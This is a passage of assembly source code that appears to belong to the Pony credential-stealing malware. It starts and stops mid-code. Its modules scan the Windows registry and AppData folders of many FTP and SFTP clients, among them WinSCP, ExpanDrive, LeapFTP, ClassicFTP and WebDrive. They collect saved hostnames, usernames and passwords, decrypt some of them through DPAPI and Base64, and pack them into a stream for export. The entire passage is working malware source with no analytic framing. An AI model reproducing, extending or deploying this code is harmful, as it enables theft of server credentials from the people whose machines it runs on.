MemFree, Password invoke MemFree, Host invoke MemFree, User invoke MemFree, S inc KeyIndex .ENDW invoke RegCloseKey, hkHandle .ENDIF ret WebSitePublisherScanReg endp GrabWebSitePublisher proc stream LOCAL hdr_ofs: DWORD invoke StreamWriteModuleHeader, stream, MODULE_WEBSITEPUBLISHER, 0 mov hdr_ofs, eax invoke WebSitePublisherScanReg, stream, offset CWebSitePublisherBasePath invoke StreamUpdateModuleLen, stream, hdr_ofs ret GrabWebSitePublisher endp ENDIF ; -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ; BitKinex 3.2.3 ; http://www.bitkinex.com/ ; Tested: BitKinex 3.2.3 ; SFTP: implemented IFDEF COMPILE_MODULE_BITKINEX .data CBitKinexAppDataDir db '\BitKinex',0 CBitKinexXmlFileMask db 'bitkinex.ds',0 .code GrabBitKinex proc stream LOCAL hdr_ofs: DWORD invoke StreamWriteModuleHeader, stream, MODULE_BITKINEX, 0 mov hdr_ofs, eax invoke AppDataCommonFileScan, stream, offset CBitKinexAppDataDir, offset CBitKinexXmlFileMask, ITEMHDR_ID or 0 invoke StreamUpdateModuleLen, stream, hdr_ofs ret GrabBitKinex endp ENDIF ; -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ; ExpanDrive 1.8.4 ; http://www.expandrive.com/ ; Tested: v2.1.0 ; Tested: v2.1.5 ; Tested: v2.2.2 ; SFTP: implemented IFDEF COMPILE_MODULE_EXPANDRIVE .data CExpanDriveServer db 'Hostname',0 CExpanDriveUser db 'Username',0 CExpanDrivePassword db 'Password',0 CExpanDrivePort db 'Port',0 CExpanDriveBasePath db 'Software\ExpanDrive\Sessions',0 CExpanDriveAppDataDir db '\ExpanDrive',0 szExpanDriveJSFile db '\drives.js',0 szExpanDriveJSPassStart db '"password" : "',0 szExpanDriveJSPassEnd db '",',0 szExpanDriveRegPath db 'Software\ExpanDrive',0 szExpanDriveRegValue db 'ExpanDrive_Home',0 .code ExpanDriveScanReg proc stream, BasePath LOCAL hkHandle: DWORD LOCAL KeyIndex: DWORD LOCAL dwBufLen: DWORD LOCAL lpBuf[2048]: BYTE LOCAL S: DWORD LOCAL Host: DWORD LOCAL User: DWORD LOCAL Password: DWORD LOCAL Port: DWORD LOCAL dwPortLen: DWORD LOCAL dwPasswordLen: DWORD invoke RegOpenKey, dwCurrentUserKey, BasePath, addr hkHandle .IF !eax mov KeyIndex, 0 .WHILE TRUE mov dwBufLen, 2047 invoke RegEnumKeyEx, hkHandle, KeyIndex, addr lpBuf, addr dwBufLen, NULL, NULL, NULL, NULL .IF eax .BREAK .ENDIF invoke PonyStrCat, BasePath, addr szSlash push eax mov edx, eax invoke PonyStrCat, edx, addr lpBuf mov S, eax call MemFree invoke RegReadValueStr, dwCurrentUserKey, S, addr CExpanDrivePassword, addr dwPasswordLen mov Password, eax invoke RegReadValueStr, dwCurrentUserKey, S, addr CExpanDriveServer, NULL mov Host, eax invoke RegReadValueStr, dwCurrentUserKey, S, addr CExpanDriveUser, NULL mov User, eax invoke RegReadValueStr, dwCurrentUserKey, S, addr CExpanDrivePort, addr dwPortLen .IF eax && dwPortLen == 4 m2m Port, dword ptr[eax] invoke MemFree, eax .ELSE .IF eax invoke MemFree, eax .ENDIF mov Port, 21 .ENDIF .IF Password && Host && User invoke CommonCryptUnprotectData, Password, addr dwPasswordLen, NULL .IF eax && dwPasswordLen ; export data, type = 0000: Host | User | Pass | Port invoke StreamWriteDWORD, stream, ITEMHDR_ID or 0 invoke StreamWriteString, stream, Host invoke StreamWriteString, stream, User invoke StreamWriteBinaryString, stream, Password, dwPasswordLen invoke StreamWriteDWORD, stream, Port .ENDIF .ENDIF invoke MemFree, Password invoke MemFree, Host invoke MemFree, User invoke MemFree, S inc KeyIndex .ENDW invoke RegCloseKey, hkHandle .ENDIF ret ExpanDriveScanReg endp ExpanDriveProcessDrivesJSPass proc stream, pass LOCAL decoded_pass: DWORD LOCAL pass_len: DWORD LOCAL decoded_len: DWORD invoke lstrlen, pass mov pass_len, eax invoke MemAlloc, pass_len mov decoded_pass, eax invoke Base64Decode, pass, pass_len, decoded_pass .IF eax mov decoded_len, eax invoke CommonCryptUnprotectData, decoded_pass, addr decoded_len, NULL .IF eax ; Export crypted-decrypted password pair invoke StreamWriteDWORD, stream, ITEMHDR_ID or 1000h invoke StreamWriteBinaryString, stream, pass, pass_len invoke StreamWriteBinaryString, stream, decoded_pass, decoded_len .ENDIF .ENDIF invoke MemFree, decoded_pass ret ExpanDriveProcessDrivesJSPass endp ExpanDriveProcessDrivesJSFile proc uses esi stream, szFileName LOCAL map: MappedFile LOCAL js_str: DWORD LOCAL js_pass_start: DWORD invoke FileExists, szFileName .IF !eax ret .ENDIF invoke MapFile, szFileName, addr map .IF eax invoke MemAlloc, map.dwFileSize mov js_str, eax invoke MoveMem, map.lpMem, js_str, map.dwFileSize mov esi, js_str .WHILE byte ptr[esi] invoke StrStrI, esi, offset szExpanDriveJSPassStart .IF !eax .BREAK .ENDIF mov esi, eax invoke lstrlen, offset szExpanDriveJSPassStart add esi, eax mov js_pass_start, esi invoke StrStrI, esi, offset szExpanDriveJSPassEnd .IF !eax .BREAK .ENDIF mov dl, byte ptr[eax] mov byte ptr[eax], 0 push eax push edx invoke ExpanDriveProcessDrivesJSPass, stream, js_pass_start pop edx pop eax mov byte ptr[eax], dl .ENDW ; Export drives.js file invoke StreamWriteDWORD, stream, ITEMHDR_ID or 1001h invoke StreamWriteBinaryString, stream, js_str, map.dwFileSize invoke MemFree, js_str invoke UnmapFile, addr map .ELSE .ENDIF ret ExpanDriveProcessDrivesJSFile endp GrabExpanDrive proc stream LOCAL hdr_ofs: DWORD invoke StreamWriteModuleHeader, stream, MODULE_EXPANDRIVE, 0 mov hdr_ofs, eax invoke ExpanDriveScanReg, stream, offset CExpanDriveBasePath invoke RegReadValueStr, dwCurrentUserKey, offset szExpanDriveRegPath, offset szExpanDriveRegValue, NULL .IF eax invoke PonyStrCatFreeArg1, eax, offset szExpanDriveJSFile push eax invoke ExpanDriveProcessDrivesJSFile, stream, eax call MemFree .ENDIF invoke SHGetFolderPathStr, CSIDL_APPDATA .IF eax invoke PonyStrCatFreeArg1, eax, offset CExpanDriveAppDataDir invoke PonyStrCatFreeArg1, eax, offset szExpanDriveJSFile push eax invoke ExpanDriveProcessDrivesJSFile, stream, eax call MemFree .ENDIF invoke SHGetFolderPathStr, CSIDL_LOCAL_APPDATA .IF eax invoke PonyStrCatFreeArg1, eax, offset CExpanDriveAppDataDir invoke PonyStrCatFreeArg1, eax, offset szExpanDriveJSFile push eax invoke ExpanDriveProcessDrivesJSFile, stream, eax call MemFree .ENDIF invoke SHGetFolderPathStr, CSIDL_COMMON_APPDATA .IF eax invoke PonyStrCatFreeArg1, eax, offset CExpanDriveAppDataDir invoke PonyStrCatFreeArg1, eax, offset szExpanDriveJSFile push eax invoke ExpanDriveProcessDrivesJSFile, stream, eax call MemFree .ENDIF invoke StreamUpdateModuleLen, stream, hdr_ofs ret GrabExpanDrive endp ENDIF ; -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ; ClassicFTP 2.14 ; http://www.nchsoftware.com/classic/index.html ; Tested: ClassicFTP 2.15 ; Tested: ClassicFTP 2.16 ; Tested: ClassicFTP 2.22 ; SFTP: not supported IFDEF COMPILE_MODULE_CLASSICFTP .data CClassicFTPServer db 'Server',0 CClassicFTPUser db 'UserName',0 CClassicFTPPassword1 db 'Password',0 CClassicFTPPassword2 db '_Password',0 CClassicFTPDir db 'Directory',0 CClassicFTPBasePath db 'Software\NCH Software\ClassicFTP\FTPAccounts',0 .code ClassicFTPScanReg proc stream, BaseKey, BasePath LOCAL hkHandle: DWORD LOCAL KeyIndex: DWORD LOCAL dwBufLen: DWORD LOCAL lpBuf[2048]: BYTE LOCAL S: DWORD LOCAL Host: DWORD LOCAL User: DWORD LOCAL Password1: DWORD LOCAL Password2: DWORD LOCAL Dir: DWORD invoke RegOpenKey, BaseKey, BasePath, addr hkHandle .IF !eax mov KeyIndex, 0 .WHILE TRUE mov dwBufLen, 2047 invoke RegEnumKeyEx, hkHandle, KeyIndex, addr lpBuf, addr dwBufLen, NULL, NULL, NULL, NULL .IF eax .BREAK .ENDIF invoke PonyStrCat, BasePath, addr szSlash push eax mov edx, eax invoke PonyStrCat, edx, addr lpBuf mov S, eax call MemFree invoke RegReadValueStr, BaseKey, S, addr CClassicFTPPassword1, NULL mov Password1, eax invoke RegReadValueStr, BaseKey, S, addr CClassicFTPPassword2, NULL mov Password2, eax invoke RegReadValueStr, BaseKey, S, addr CClassicFTPServer, NULL mov Host, eax invoke RegReadValueStr, BaseKey, S, addr CClassicFTPUser, NULL mov User, eax invoke RegReadValueStr, BaseKey, S, addr CClassicFTPDir, NULL mov Dir, eax .IF (Password1 || Password2) && Host && User ; export data, type = 0000: Host | User | Pass1 | Pass2 | Dir invoke StreamWriteDWORD, stream, ITEMHDR_ID or 0 invoke StreamWriteString, stream, Host invoke StreamWriteString, stream, User invoke StreamWriteString, stream, Password1 invoke StreamWriteString, stream, Password2 invoke StreamWriteString, stream, Dir .ENDIF invoke MemFree, Password1 invoke MemFree, Password2 invoke MemFree, Host invoke MemFree, User invoke MemFree, Dir ; recursively scan subfolders invoke ClassicFTPScanReg, stream, BaseKey, S invoke MemFree, S inc KeyIndex .ENDW invoke RegCloseKey, hkHandle .ENDIF ret ClassicFTPScanReg endp GrabClassicFTP proc stream LOCAL hdr_ofs: DWORD invoke StreamWriteModuleHeader, stream, MODULE_CLASSICFTP, 0 mov hdr_ofs, eax invoke ClassicFTPScanReg, stream, HKEY_LOCAL_MACHINE, offset CClassicFTPBasePath invoke ClassicFTPScanReg, stream, dwCurrentUserKey, offset CClassicFTPBasePath invoke StreamUpdateModuleLen, stream, hdr_ofs ret GrabClassicFTP endp ENDIF ; -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ; Fling 2.23 ; http://www.nchsoftware.com/fling/index.html ; Tested: Fling 2.24 ; Tested: Fling 2.26 ; SFTP: not supported IFDEF COMPILE_MODULE_FLING .data FlingServer db 'FtpServer',0 FlingUser db 'FtpUserName',0 FlingPassword1 db 'FtpPassword',0 FlingPassword2 db '_FtpPassword',0 FlingDir db 'FtpDirectory',0 FlingBasePath db 'SOFTWARE\NCH Software\Fling\Accounts',0 .code FlingScanReg proc stream, BaseKey, BasePath LOCAL hkHandle: DWORD LOCAL KeyIndex: DWORD LOCAL dwBufLen: DWORD LOCAL lpBuf[2048]: BYTE LOCAL S: DWORD LOCAL Host: DWORD LOCAL User: DWORD LOCAL Password1: DWORD LOCAL Password2: DWORD LOCAL Dir: DWORD invoke RegOpenKey, BaseKey, BasePath, addr hkHandle .IF !eax mov KeyIndex, 0 .WHILE TRUE mov dwBufLen, 2047 invoke RegEnumKeyEx, hkHandle, KeyIndex, addr lpBuf, addr dwBufLen, NULL, NULL, NULL, NULL .IF eax .BREAK .ENDIF invoke PonyStrCat, BasePath, addr szSlash push eax mov edx, eax invoke PonyStrCat, edx, addr lpBuf mov S, eax call MemFree invoke RegReadValueStr, BaseKey, S, addr FlingPassword1, NULL mov Password1, eax invoke RegReadValueStr, BaseKey, S, addr FlingPassword2, NULL mov Password2, eax invoke RegReadValueStr, BaseKey, S, addr FlingServer, NULL mov Host, eax invoke RegReadValueStr, BaseKey, S, addr FlingUser, NULL mov User, eax invoke RegReadValueStr, BaseKey, S, addr FlingDir, NULL mov Dir, eax .IF (Password1 || Password2) && Host && User ; export data, type = 0000: Host | User | Pass1 | Pass2 | Dir invoke StreamWriteDWORD, stream, ITEMHDR_ID or 0 invoke StreamWriteString, stream, Host invoke StreamWriteString, stream, User invoke StreamWriteString, stream, Password1 invoke StreamWriteString, stream, Password2 invoke StreamWriteString, stream, Dir .ENDIF invoke MemFree, Password1 invoke MemFree, Password2 invoke MemFree, Host invoke MemFree, User invoke MemFree, Dir ; recursively scan subfolders invoke FlingScanReg, stream, BaseKey, S invoke MemFree, S inc KeyIndex .ENDW invoke RegCloseKey, hkHandle .ENDIF ret FlingScanReg endp GrabFling proc stream LOCAL hdr_ofs: DWORD invoke StreamWriteModuleHeader, stream, MODULE_FLING, 0 mov hdr_ofs, eax invoke FlingScanReg, stream, dwCurrentUserKey, offset FlingBasePath invoke FlingScanReg, stream, HKEY_LOCAL_MACHINE, offset FlingBasePath invoke StreamUpdateModuleLen, stream, hdr_ofs ret GrabFling endp ENDIF ; -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ; SoftX 3.3 ; http://www.softx.org/ftp.html ; Tested: SoftX 3.3 ; SFTP: not supported IFDEF COMPILE_MODULE_SOFTX .data CSoftXBasePath1 db 'Software\FTPClient\Sites',0 CSoftXBasePath2 db 'Software\SoftX.org\FTPClient\Sites',0 .code SoftXScanReg proc stream, BaseKey, BasePath LOCAL hkHandle: DWORD LOCAL KeyIndex: DWORD LOCAL dwBufLen: DWORD LOCAL lpBuf[2048]: BYTE LOCAL PasswordValue: DWORD LOCAL dwPasswordLen: DWORD invoke RegOpenKey, BaseKey, BasePath, addr hkHandle .IF !eax mov KeyIndex, 0 .WHILE TRUE mov dwBufLen, 2047 invoke RegEnumValue, hkHandle, KeyIndex, addr lpBuf, addr dwBufLen, NULL, NULL, NULL, NULL .IF eax .BREAK .ENDIF invoke RegReadValueStr, BaseKey, BasePath, addr lpBuf, addr dwPasswordLen mov PasswordValue, eax .IF eax && dwPasswordLen invoke CommonAppendData, stream, PasswordValue, dwPasswordLen, ITEMHDR_ID or 0 .ENDIF invoke MemFree, PasswordValue inc KeyIndex .ENDW invoke RegCloseKey, hkHandle .ENDIF ret SoftXScanReg endp GrabSoftX proc stream LOCAL hdr_ofs: DWORD invoke StreamWriteModuleHeader, stream, MODULE_SOFTX, 0 mov hdr_ofs, eax invoke SoftXScanReg, stream, dwCurrentUserKey, offset CSoftXBasePath1 invoke SoftXScanReg, stream, HKEY_LOCAL_MACHINE, offset CSoftXBasePath1 invoke SoftXScanReg, stream, dwCurrentUserKey, offset CSoftXBasePath2 invoke SoftXScanReg, stream, HKEY_LOCAL_MACHINE, offset CSoftXBasePath2 invoke StreamUpdateModuleLen, stream, hdr_ofs ret GrabSoftX endp ENDIF ; -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ; Directory Opus 9.5.6.0.3937 (64-bit) ; http://www.gpsoft.com.au/ ; Tested: Directory Opus 10.0.1.0.4192 (32-bit) ; Tested: Directory Opus 10.0.2.0.4269 (64-bit) ; Tested: Directory Opus 10.0.5.0.4269 (32-bit) ; SFTP: implemented IFDEF COMPILE_MODULE_DIRECTORYOPUS .data CDOpusFTPOxcMask db '.oxc',0 CDOpusFTPOllMask db '.oll',0 CDOpusFTPLastConn db 'ftplast.osd',0 CDOpusFTPAppDataDir db '\GPSoftware\Directory Opus',0 .code DOpusFTPCommonFileScan proc stream, csidl invoke SHGetFolderPathStr, csidl .IF eax invoke PonyStrCatFreeArg1, eax, offset CDOpusFTPAppDataDir push eax push eax push eax invoke CommonFileScan, stream, eax, offset CDOpusFTPOxcMask, ITEMHDR_ID or 0 pop eax invoke CommonFileScan, stream, eax, offset CDOpusFTPOllMask, ITEMHDR_ID or 1 pop eax invoke CommonFileScan, stream, eax, offset CDOpusFTPLastConn, ITEMHDR_ID or 2 call MemFree .ENDIF ret DOpusFTPCommonFileScan endp GrabDirectoryOpus proc stream LOCAL hdr_ofs: DWORD invoke StreamWriteModuleHeader, stream, MODULE_DIRECTORYOPUS, 0 mov hdr_ofs, eax invoke DOpusFTPCommonFileScan, stream, CSIDL_APPDATA invoke DOpusFTPCommonFileScan, stream, CSIDL_COMMON_APPDATA invoke DOpusFTPCommonFileScan, stream, CSIDL_LOCAL_APPDATA invoke StreamUpdateModuleLen, stream, hdr_ofs ret GrabDirectoryOpus endp ENDIF ; -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ; CoffeeCup FreeFTP 4.3 / DirectFTP ; http://www.coffeecup.com/free-ftp/ ; Tested: Version 4.4, Build 1904 ; Tested: Version 4.5, Build 1941 ; SFTP: implemented IFDEF COMPILE_MODULE_FREEFTP .data CFreeFTPCcsFile1 db '\SharedSettings.ccs',0 CFreeFTPCcsFile2 db '\SharedSettings_1_0_5.ccs',0 CFreeFTPSqliteFile1 db '\SharedSettings.sqlite',0 CFreeFTPSqliteFile2 db '\SharedSettings_1_0_5.sqlite',0 CFreeFTPAppDataDir db '\CoffeeCup Software',0 .code FreeFTPCommonFileScan proc stream, csidl, dir LOCAL shell_folder: DWORD invoke SHGetFolderPathStr, csidl .IF eax mov shell_folder, eax .IF dir invoke PonyStrCatFreeArg1, shell_folder, dir mov shell_folder, eax .ENDIF invoke PonyStrCat, shell_folder, offset CFreeFTPCcsFile1 push eax invoke CommonAppendFile, stream, eax, ITEMHDR_ID or 0 call MemFree invoke PonyStrCat, shell_folder, offset CFreeFTPSqliteFile1 push eax invoke CommonAppendFile, stream, eax, ITEMHDR_ID or 1 call MemFree invoke PonyStrCat, shell_folder, offset CFreeFTPCcsFile2 push eax invoke CommonAppendFile, stream, eax, ITEMHDR_ID or 0 call MemFree invoke PonyStrCat, shell_folder, offset CFreeFTPSqliteFile2 push eax invoke CommonAppendFile, stream, eax, ITEMHDR_ID or 1 call MemFree invoke MemFree, shell_folder .ENDIF ret FreeFTPCommonFileScan endp GrabFreeFTP proc stream LOCAL hdr_ofs: DWORD invoke StreamWriteModuleHeader, stream, MODULE_FREEFTP, 0 mov hdr_ofs, eax invoke FreeFTPCommonFileScan, stream, CSIDL_APPDATA, NULL invoke FreeFTPCommonFileScan, stream, CSIDL_COMMON_APPDATA, NULL invoke FreeFTPCommonFileScan, stream, CSIDL_LOCAL_APPDATA, NULL invoke FreeFTPCommonFileScan, stream, CSIDL_APPDATA, offset CFreeFTPAppDataDir invoke FreeFTPCommonFileScan, stream, CSIDL_COMMON_APPDATA, offset CFreeFTPAppDataDir invoke FreeFTPCommonFileScan, stream, CSIDL_LOCAL_APPDATA, offset CFreeFTPAppDataDir invoke StreamUpdateModuleLen, stream, hdr_ofs ret GrabFreeFTP endp ENDIF ; -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ; LeapFTP 2.6.2.470, 3.1.0.50 ; http://www.leapware.com/ ; Tested: 3.1.0.50 ; SFTP: implemented IFDEF COMPILE_MODULE_LEAPFTP .data CLeapFTPIntalledName db 'leapftp',0 CLeapFTPUninstaller db 'unleap.exe',0 CLeapFTPDatFile db 'sites.dat',0 CLeapFTPIniFile db 'sites.ini',0 CLeapFTPAppDataDir db '\LeapWare\LeapFTP',0 CLeapFTPRegPath db 'SOFTWARE\LeapWare',0 CLeapFTPRegValue1 db 'InstallPath',0 CLeapFTPRegValue2 db 'DataDir',0 .code LeapFTPScanReg proc stream, BaseKey, BasePath LOCAL hkHandle: DWORD LOCAL KeyIndex: DWORD LOCAL dwBufLen: DWORD LOCAL lpBuf[2048]: BYTE LOCAL S: DWORD LOCAL Dir1: DWORD LOCAL Dir2: DWORD invoke RegOpenKey, BaseKey, BasePath, addr hkHandle .IF !eax mov KeyIndex, 0 .WHILE TRUE mov dwBufLen, 2047 invoke RegEnumKeyEx, hkHandle, KeyIndex, addr lpBuf, addr dwBufLen, NULL, NULL, NULL, NULL .IF eax .BREAK .ENDIF invoke PonyStrCat, BasePath, addr szSlash push eax mov edx, eax invoke PonyStrCat, edx, addr lpBuf mov S, eax call MemFree invoke RegReadValueStr, BaseKey, S, addr CLeapFTPRegValue1, NULL mov Dir1, eax invoke RegReadValueStr, BaseKey, S, addr CLeapFTPRegValue2, NULL mov Dir2, eax .IF Dir1 invoke CommonFileScan, stream, Dir1, offset CLeapFTPDatFile, ITEMHDR_ID or 0 invoke CommonFileScan, stream, Dir1, offset CLeapFTPIniFile, ITEMHDR_ID or 1 .ENDIF .IF Dir2 invoke CommonFileScan, stream, Dir2, offset CLeapFTPDatFile, ITEMHDR_ID or 0 invoke CommonFileScan, stream, Dir2, offset CLeapFTPIniFile, ITEMHDR_ID or 1 .ENDIF invoke MemFree, Dir1 invoke MemFree, Dir2 ; recursively scan subfolders invoke LeapFTPScanReg, stream, BaseKey, S invoke MemFree, S inc KeyIndex .ENDW invoke RegCloseKey, hkHandle .ENDIF ret LeapFTPScanReg endp LeapFTPCommonFileScan proc stream, csidl invoke SHGetFolderPathStr, csidl .IF eax invoke PonyStrCatFreeArg1, eax, offset CLeapFTPAppDataDir push eax push eax invoke CommonFileScan, stream, eax, offset CLeapFTPDatFile, ITEMHDR_ID or 0 pop eax invoke CommonFileScan, stream, eax, offset CLeapFTPIniFile, ITEMHDR_ID or 1 call MemFree .ENDIF ret LeapFTPCommonFileScan endp GrabLeapFTP proc uses esi edi stream LOCAL hdr_ofs: DWORD invoke StreamWriteModuleHeader, stream, MODULE_LEAPFTP, 0 mov hdr_ofs, eax mov esi, lpInstalledList mov edi, lpInstalledNames .IF byte ptr[edi] @n: invoke StrStr, esi, offset CLeapFTPUninstaller .IF eax ; older uninstaller inc eax ; skip spacing char .IF byte ptr[eax] push eax invoke lstrlen, offset CLeapFTPUninstaller pop edx add eax, edx invoke ExtractFilePath, eax push eax push eax invoke CommonFileScan, stream, eax, offset CLeapFTPDatFile, ITEMHDR_ID or 0 pop eax invoke CommonFileScan, stream, eax, offset CLeapFTPIniFile, ITEMHDR_ID or 1 call MemFree .ENDIF .ELSE ; newer uninstaller invoke StrStrI, edi, offset CLeapFTPIntalledName .IF eax invoke ExtractFilePath, esi push eax push eax invoke CommonFileScan, stream, eax, offset CLeapFTPDatFile, ITEMHDR_ID or 0 pop eax invoke CommonFileScan, stream, eax, offset CLeapFTPIniFile, ITEMHDR_ID or 1 call MemFree .ENDIF .ENDIF .WHILE byte ptr[esi] inc esi .ENDW inc esi @Next @n .ENDIF invoke LeapFTPCommonFileScan, stream, CSIDL_APPDATA invoke LeapFTPCommonFileScan, stream, CSIDL_COMMON_APPDATA invoke LeapFTPCommonFileScan, stream, CSIDL_LOCAL_APPDATA invoke LeapFTPScanReg, stream, dwCurrentUserKey, offset CLeapFTPRegPath invoke LeapFTPScanReg, stream, HKEY_LOCAL_MACHINE, offset CLeapFTPRegPath invoke StreamUpdateModuleLen, stream, hdr_ofs ret GrabLeapFTP endp ENDIF ; -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ; WinSCP 4.3.2 (Build 1201) ; http://winscp.net ; Tested: Version 4.3.4 (Build 1428) ; Tested: Version 5.0.5 beta ; SFTP: implemented IFDEF COMPILE_MODULE_WINSCP .data CWinSCPPassword db 'Password',0 CWinSCPServer db 'HostName',0 CWinSCPUser db 'UserName',0 CWinSCPDir db 'RemoteDirectory',0 CWinSCPPort db 'PortNumber',0 CWinSCPProtocol db 'FSProtocol',0 CWinSCPBasePath db 'Software\Martin Prikryl',0 .code WinSCPScanReg proc stream, BaseKey, BasePath LOCAL hkHandle: DWORD LOCAL KeyIndex: DWORD LOCAL dwBufLen: DWORD LOCAL lpBuf[2048]: BYTE LOCAL S: DWORD LOCAL Host: DWORD LOCAL User: DWORD LOCAL Password: DWORD LOCAL dwPortLen: DWORD LOCAL Dir: DWORD LOCAL Port: DWORD LOCAL Protocol: DWORD LOCAL dwProtocolLen: DWORD invoke RegOpenKey, BaseKey, BasePath, addr hkHandle .IF !eax mov KeyIndex, 0 .WHILE TRUE mov dwBufLen, 2047 invoke RegEnumKeyEx, hkHandle, KeyIndex, addr lpBuf, addr dwBufLen, NULL, NULL, NULL, NULL .IF eax .BREAK .ENDIF invoke PonyStrCat, BasePath, addr szSlash push eax mov edx, eax invoke PonyStrCat, edx, addr lpBuf mov S, eax call MemFree invoke RegReadValueStr, BaseKey, S, addr CWinSCPPassword, NULL mov Password, eax invoke RegReadValueStr, BaseKey, S, addr CWinSCPServer, NULL mov Host, eax invoke RegReadValueStr, BaseKey, S, addr CWinSCPUser, NULL mov User, eax invoke RegReadValueStr, BaseKey, S, addr CWinSCPDir, NULL mov Dir, eax invoke RegReadValueStr, dwCurrentUserKey, S, addr CWinSCPPort, addr dwPortLen .IF eax && dwPortLen == 4 m2m Port, dword ptr[eax] invoke MemFree, eax .ELSE .IF eax invoke MemFree, eax .ENDIF mov Port, 21 .ENDIF invoke RegReadValueStr, BaseKey, S, addr CWinSCPProtocol, addr dwProtocolLen mov Protocol, eax .IF Password && Host && User ; export data, type = 0000: Host | User | Pass | Port | Dir ; export data, type = 0010: Host | User | Pass | Port | Dir | Protocol invoke StreamWriteDWORD, stream, ITEMHDR_ID or 10h invoke StreamWriteString, stream, Host invoke StreamWriteString, stream, User invoke StreamWriteString, stream, Password invoke StreamWriteDWORD, stream, Port invoke StreamWriteString, stream, Dir .IF Protocol && dwProtocolLen == 4 mov eax, Protocol invoke StreamWriteDWORD, stream, dword ptr[eax] .ELSE invoke StreamWriteDWORD, stream, 0 .ENDIF .ENDIF invoke MemFree, Password invoke MemFree, Host invoke MemFree, User invoke MemFree, Dir invoke MemFree, Protocol ; recursively scan subfolders invoke WinSCPScanReg, stream, BaseKey, S invoke MemFree, S inc KeyIndex .ENDW invoke RegCloseKey, hkHandle .ENDIF ret WinSCPScanReg endp GrabWinSCP proc stream LOCAL hdr_ofs: DWORD invoke StreamWriteModuleHeader, stream, MODULE_WINSCP, 0 mov hdr_ofs, eax invoke WinSCPScanReg, stream, dwCurrentUserKey, offset CWinSCPBasePath invoke WinSCPScanReg, stream, HKEY_LOCAL_MACHINE, offset CWinSCPBasePath invoke StreamUpdateModuleLen, stream, hdr_ofs ret GrabWinSCP endp ENDIF ; -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ; 32bit FTP 11.07.01 ; http://www.electrasoft.com/32ftp.htm ; Tested: Version 11.07.01 ; Tested: Version 12.05.01 ; SFTP: not supported IFDEF COMPILE_MODULE_32BITFTP .data C32BitFTPIniFile db '\32BitFtp.ini',0 .code Grab32BitFTP proc stream LOCAL hdr_ofs: DWORD LOCAL win_dir[MAX_PATH+1]: BYTE invoke StreamWriteModuleHeader, stream, MODULE_32BITFTP, 0 mov hdr_ofs, eax invoke GetWindowsDirectory, addr win_dir, MAX_PATH .IF eax && eax <= MAX_PATH invoke PonyStrCat, addr win_dir, offset C32BitFTPIniFile push eax invoke CommonAppendFile, stream, eax, ITEMHDR_ID or 0 call MemFree .ENDIF invoke StreamUpdateModuleLen, stream, hdr_ofs ret Grab32BitFTP endp ENDIF ; -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ; NetDrive 1.2.0.4 ; http://www.netdrive.net/ ; Tested: NetDrive 1.3.0.2 ; Tested: NetDrive 1.3.2.0 ; SFTP: implemented IFDEF COMPILE_MODULE_NETDRIVE .data CNetDriveIniFile db 'NDSites.ini',0 CNetDriveAppDataDir db '\NetDrive',0 .code GrabNetDrive proc stream LOCAL hdr_ofs: DWORD invoke StreamWriteModuleHeader, stream, MODULE_NETDRIVE, 0 mov hdr_ofs, eax invoke AppDataCommonFileScan, stream, offset CNetDriveAppDataDir, offset CNetDriveIniFile, ITEMHDR_ID or 0 invoke StreamUpdateModuleLen, stream, hdr_ofs ret GrabNetDrive endp ENDIF ; -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ; WebDrive 9.16 (build 2385) 64-bit ; http://www.webdrive.com/ ; Tested: Version 10.0 (build 2508) 32 bit ; Tested: Version 10.0 (build 2521) 64 bit ; Tested: Version 10.1 (build 2567) 32 bit ; SFTP: implemented IFDEF COMPILE_MODULE_WEBDRIVE .data CWebDrivePassword db 'PassWord',0 CWebDriveServer db 'Url',0 CWebDriveUser db 'UserName',0 CWebDriveDir db 'RootDirectory',0 